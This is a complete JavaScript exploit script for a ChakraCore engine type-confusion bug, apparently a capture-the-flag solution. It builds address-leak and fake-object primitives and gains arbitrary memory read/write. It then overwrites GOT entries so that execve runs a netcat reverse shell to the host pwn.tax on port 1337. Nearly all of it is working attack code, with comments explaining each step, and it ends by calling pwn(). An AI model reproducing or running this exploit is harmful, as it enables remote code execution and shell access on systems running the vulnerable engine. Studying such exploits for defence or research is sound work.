//////////////////////////////////////////////////////////////////////////// // // The vulnerability was that the following line of code could change the type of the // underlying Array from JavascriptNativeIntArray to JavascriptArray: // // spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE; // // As can be seen in the provided .diff, the check for whether the type of the pDestArray has changed // was removed. If the aItem then is not a JavascriptArray, the following code path is taken: // else // { // JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray); // .... // // Consequently in ConvertToVarArray() the pDestArray is converted to a JavascriptArray, even though it // already is a JavascriptArray: // ival = ((SparseArraySegment*)seg)->elements[i]; // The cast will let the ival be an int32, even though it actually should be a Val pointer. // // With this we can get primitives to leak addresses and fake objects, see comments in the // corresponding functions below if you are interested. Using those primitives we achieve // an arbitary read/write. // // From there, the basic exploitation idea is to overwrite GOT entries in a way that execve() // will get called on input that we control. After looking through ChakraCore code I found a call to // memmove in TypedArrayBase::Set(TypedArrayBase* source, uint32 offset). The memmove is called // in the following way: // void *ret_val = memmove_xplat(dst, src, count); // It can be triggered by calling: // var a = new Uint8Array(10); // var b = new Uint8Array(10); // a.set(b); // In this case `dst` will point to the buffer of `a`, `src` to the buffer of `b` and `count` to the // size of `b`. If we overwrite memmove() with execve() in the GOT, will have full control over // the first two parameters, but unfortunately we do not control `count` very much. // // In order for execve() to succeed, we need `count` to be a valid pointer. // // After looking around some more in the code I found a call to memset() in // SharedArrayBuffer::SharedArrayBuffer(uint32 length, DynamicType * type, Allocator allocator) // which will move the value in r12 to rdx: // mov rdx, r12 // call 0x7ffff5875f50 // // Luckily for us, there is a valid pointer in r12 at the right time. // // Then all that is left to do: // 1. Overwrite memmove@GOT with the address of the `mov rdx, r12` above // 2. Overwrite memset@GOT with execve // 3. Call cmd.set(args) and our command with the given arguments is executed. // /////////////////////////////////////////////////////////////////////////////////// function pwn() { // exploit the bug and create our arbitrary r/w primitive var mem = gimme_rw(); // get the base of libChakraCore.so var base = get_base(mem); console.log("[+] base @ " + base.toString(16)); // the following offets are hardcoded var execve_got = base + 0xd9b790; console.log("[+] execve_got @ " + execve_got.toString(16)); var execve_plt = mem.read64(execve_got); console.log("[+] execve_plt @ " + execve_plt.toString(16)); var memmove_got = base + 0xd9b0f0; console.log("[+] memmove_got @ " + memmove_got.toString(16)); var memset_got = base + 0xd9b218; console.log("[+] memset_got @ " + memset_got.toString(16)); var load_ptr_in_rdx = base + 0x5c7c4b; console.log("[+] load_ptr_in_rdx @ " + load_ptr_in_rdx.toString(16)); // now set up our command var cmd = "/bin/sh"; // write the command into a Uint8Array var target = new Uint8Array(0x1234); for (var i = 0; i < cmd.length; i++) { target[i] = cmd.charCodeAt(i); } // now set up the arguments for the command // the payload here is jsut a simple reverse shell using netcat // from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet var args = ["dontcare", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc pwn.tax 1337 >/tmp/f"]; var arg_array = create_arg_array(args, mem); // need to call .set() before exploiting to resolve // some PLT entries i guess, otherwise we will segfault (new Uint8Array(1)).set(1); // overwrite memmove with load_ptr_in_rdx (which will call memset just after) mem.write32(memmove_got, lower(load_ptr_in_rdx)); mem.write32(memmove_got+4, upper(load_ptr_in_rdx)); // overwrite memset with execve_plt mem.write32(memset_got, lower(execve_plt)); // GIMME SHELL NOW target.set(arg_array); } function cloneFunc( func ) { // from http://stackoverflow.com/a/19515928 // used to create a copy of a function var reFn = /^function\s*([^\s(]*)\s*\(([^)]*)\)[^{]*\{([^]*)\}$/gi , s = func.toString().replace(/^\s|\s$/g, '') , m = reFn.exec(s); if (!m || !m.length) return; var conf = { name : m[1] || '', args : m[2].replace(/\s+/g,'').split(','), body : m[3] || '' } var clone = Function.prototype.constructor.apply(this, [].concat(conf.args, conf.body)); return clone; } function fakeobj(addr) { // proxy function which clones the original function at each call // this is needed cause otherwise the function gets JITed and does not // work more than once fakeobj_ = cloneFunc(fakeobj_); return fakeobj_(addr); } function addrof(obj) { addrof_ = cloneFunc(addrof_); return addrof_(obj); } function fakeobj_(addr) { // fakeobj() allows us to get a javascript handle for an arbitrary address // Basically it can be used to somewhere in memory fake the layout and contents // of an object and then actually return a handle for the object and use it var a1 = []; for (var i = 0; i < 0x100; i++) { a1[i] = i; } var a2 = [lower(addr), upper(addr)]; var c = new Function(); c[Symbol.species] = function() { new_array = []; return new_array; }; a1.constructor = c; a2.__defineGetter__(Symbol.isConcatSpreadable, function () { new_array[0] = {}; return true; }); var res = a1.concat(a2); return res[0x100/2]; } function addrof_(obj) { // addrof() allows to leak the memory location of an object // this function uses the bug in JavascriptArray::ConcatIntArgs var a = [0, 1, 2]; var b = [0, 1, 2]; var cons = new Function(); cons[Symbol.species] = function() { qq = []; // here qq is just a JavascriptNativeIntArray return qq; } // using the species contructor allows us to get a handle on the result array // of functions such as map() or concat() a.constructor = cons; // Here we define a custom getter for the Symbol.isConcatSpreadable property // In it we change the type of qq by simply assigning an object to it fakeProp = { get: function() { b[1] = obj; qq[0] = obj; // qq was JavascriptNativeIntArray, now changed to JavascriptArray return true; }}; Object.defineProperty(b, Symbol.isConcatSpreadable, fakeProp); // trigger the vulnerability var c = a.concat(b); return combine(c[0], c[1]); } function lower(x) { // returns the lower 32bit of x return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0; } function upper(x) { // returns the upper 32bit of x return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0; } function combine(a, b) { a = a >>> 0; b = b >>> 0; return parseInt(b.toString(16) + a.toString(16), 16); } // use Uint64Number to leak the Array vtable pointer function leak_vtable() { // We will place a JavascriptUint64Number object in the very // last element of `a`. The memory layout will look something like this: // // [ vtable ptr of a | type ptr of a ] // [ ... more header fields of a ... ] // [ el0 el1 el2 el3 ] // [ el4 el5 el6 el7 ] // [ el8 el9 el10 el11 ] // [ el12 el13 el14 el15 ] // [ vtable ptr of b | type ptr of b ] // [ .... more fields of b ... ] // // We will fake the object by setting el14 and el15 to point // to a type struct containing the value 0x6, which we store in el4: // // [ vtable ptr of a | type ptr of a ] // [ ... more header fields of a ... ] // [ el0 el1 el2 el3 ] // [ 0x6 el5 el6 el7 ] // [ el8 el9 el10 el11 ] // [ 0 0 ptr_to_el4 ] <--fake Uint64Number // [ vtable ptr of b | type ptr of b ] <-* // [ .... more fields of b ... ] // // Our fake JavascriptUint64Number will start at el12. The first qword // is the vtable ptr (it wont be used so we dont set it), the second one // is the type ptr (we set it to point to el4) and the third qword // is the actual integer value. // When we call parseInt(fakeUint64obj) it will grab and return // the value from the third qword, which in our setup above is the // vtable ptr of b. var a = new Array(16); for (var i = 0; i < 18;i++) a[i] = 0; var b = new Array(16); for (var i = 0; i < 18;i++) b[i] = 0x1337+i; // get the address of the first array a_addr = addrof(a); // at offset 0x68 lies el4, i.e. the type of our fake Uint64 obj uint64_type_ptr = a_addr + 0x68; // we set el4 to 0x6 since 0x6 is the type of Uint64Number a[4] = 0x6; // type of Uint64 // set up the type pointer for our fake a Uint64 object a[16] = lower(uint64_type_ptr) a[17] = upper(uint64_type_ptr) // now everything is set up, we fake the Uint64 object fakeUint64 = fakeobj(a_addr + 0x90) // finally we leak the vtable pointer of b by calling parseInt() // on our fake object vtable = parseInt(fakeUint64); return vtable } function gimme_rw() { // For arbitrary read/write we will fake a Uint32Array inside the inline data // of a regular Array. For a regular Array to have inline data it has to be initialized // with at most 16 elements. // Once we have the Uint32Array faked, we can control its buffer pointer and point // it to wherever we want, allowing us to read/write at any address. // // In order to fake a Uint32Array we need to set 5 values: the vtable pointer, the type // pointer, the ArrayBuffer pointer, its size and finally the buffer pointer. The memory layout // will look like this: // // 0x00 | vtable ptr | type ptr | <----. // 0x10 | ... | ... | | // 0x20 | ... | ... | | // ... ... ... >------ new Array(16) // 0x50 | ... | vtable ptr | <-. | // 0x60 | type ptr | 0 | | | // 0x70 | 0 | size | >----- faked Uint32Array // 0x80 | ArrayBuffer ptr | 0 | | | // 0x90 | buffer ptr | ... | <-* | // 0xa0 | ... | ... | | // <--- * // Then as we can see at the offset 0x58 we will have our fake Uint32Array. // // first we leak the vtable of an Array array_vtable = leak_vtable(); console.log("[+] array vtable @ " + array_vtable.toString(16)); // Using an offset we calculate the Uint32Array vtable uint_vtable = array_vtable - 0x18368; console.log("[+] Uint32Array vtable @ " + uint_vtable.toString(16)); // Next we obtain the address of an ArrayBuffer var ab = new ArrayBuffer(0x1000); var ab_addr = addrof(ab); // The type pointer should point to a struct whose first element // is 0x30, which is the type id for a Uint32Array var type = new Array(16); type[0] = 0x30; // type == Uint32Array == 0x30 // the address we want is at offset 0x58 (where the inline data for Arrays begins) var array_type = addrof(type)+0x58; // now fake the Uint32Array object inside the inline data of the real Array var real = new Array(16); var real_addr = addrof(real); // fake vtable pointer real[0] = lower(uint_vtable); real[1] = upper(uint_vtable); // fake type pointer real[2] = lower(array_type); real[3] = upper(array_type); // dont care real[4] = 0; real[5] = 0; real[6] = 0; real[7] = 0; // fake size real[8] = 0x1000; real[9] = 0; // fake ArrayBuffer pointer real[10] = lower(ab_addr); real[11] = upper(ab_addr); // dont care real[12] = 0; real[13] = 0; // the following creates an object which we will use to read and write // memory arbitrarily var memory = { handle: fakeobj(real_addr + 0x58), init: function(addr) { // we set the buffer pointer of the fake Uint32Array to the // target address real[14] = lower(addr); real[15] = upper(addr); // Now get a handle to the fake object! return memory.handle; }, read32: function(addr) { fake_array = memory.init(addr); return fake_array[0]; }, read64: function(addr) { fake_array = memory.init(addr); return combine(fake_array[0], fake_array[1]); }, write32: function(addr, data) { fake_array = memory.init(addr); fake_array[0] = data; }, write64: function(addr, data) { fake_array = memory.init(addr); fake_array[0] = lower(data); fake_array[1] = lower(upper); } } return memory; } function get_base(mem) { // the base can be found by reading the first vtable entry of an Array, // which will be a pointer to the Finalize function. With an offet the // base can be calculated var x = new Array(16); x_addr = addrof(x); vtable = mem.read64(x_addr); finalizer = mem.read64(vtable); console.log(finalizer.toString(16)); return finalizer - 0x154a80; // hardcoded offset } function create_arg_array(args, mem) { // This will generate a valid args array for execve() // For this we will create first a Uint8Array which will contain our // arg strings. For example if we want to execute `/bin/cat /etc/flag` later on // the args array will contain ['dontcare', '/etc/flag', 0] // arg_str is the array containing the actual arg strings var arg_str = new Uint8Array(1000); var arg_str_buf = addrof(arg_str) + 0x38; // offset 0x38 is the pointer to the actual buffer containing data var arg_str_addr = mem.read64(arg_str_buf); console.log("[+] arg_str @ " + arg_str_addr.toString(16)); // now we fill in the actual strings and at the same time create an arg_ptrs array // containing pointers to those strings var arg_ptrs = []; var lastidx = 0; // current char counter for (var i = 0; i < args.length; i++) { arg_ptrs.push(arg_str_addr + lastidx); // write the current arg string into the buffer for (var j = 0; j < args[i].length; j++) { arg_str[lastidx++] = args[i].charCodeAt(j); } arg_str[lastidx++] = 0; // null terminated strings } // Here we create another array in which we will write the pointers // from the `arg_ptrs` array. Remember, those pointers point to our arg // strings. var buffer = new ArrayBuffer(1000); var arg_array = new Uint32Array(buffer); var arg_array_buf = addrof(arg_array) + 0x38 var arg_array_addr = mem.read64(arg_array_buf); for (var i = 0; i < arg_ptrs.length; i++) { arg_array[2*i] = lower(arg_ptrs[i]); arg_array[2*i + 1] = upper(arg_ptrs[i]); } console.log("[+] arg_ptr_buf @ " + arg_array_addr.toString(16)); // now arg_array contains pointers to the argument strings // we can simply return a Uint8Array (this is important for later) now return new Uint8Array(buffer); } pwn();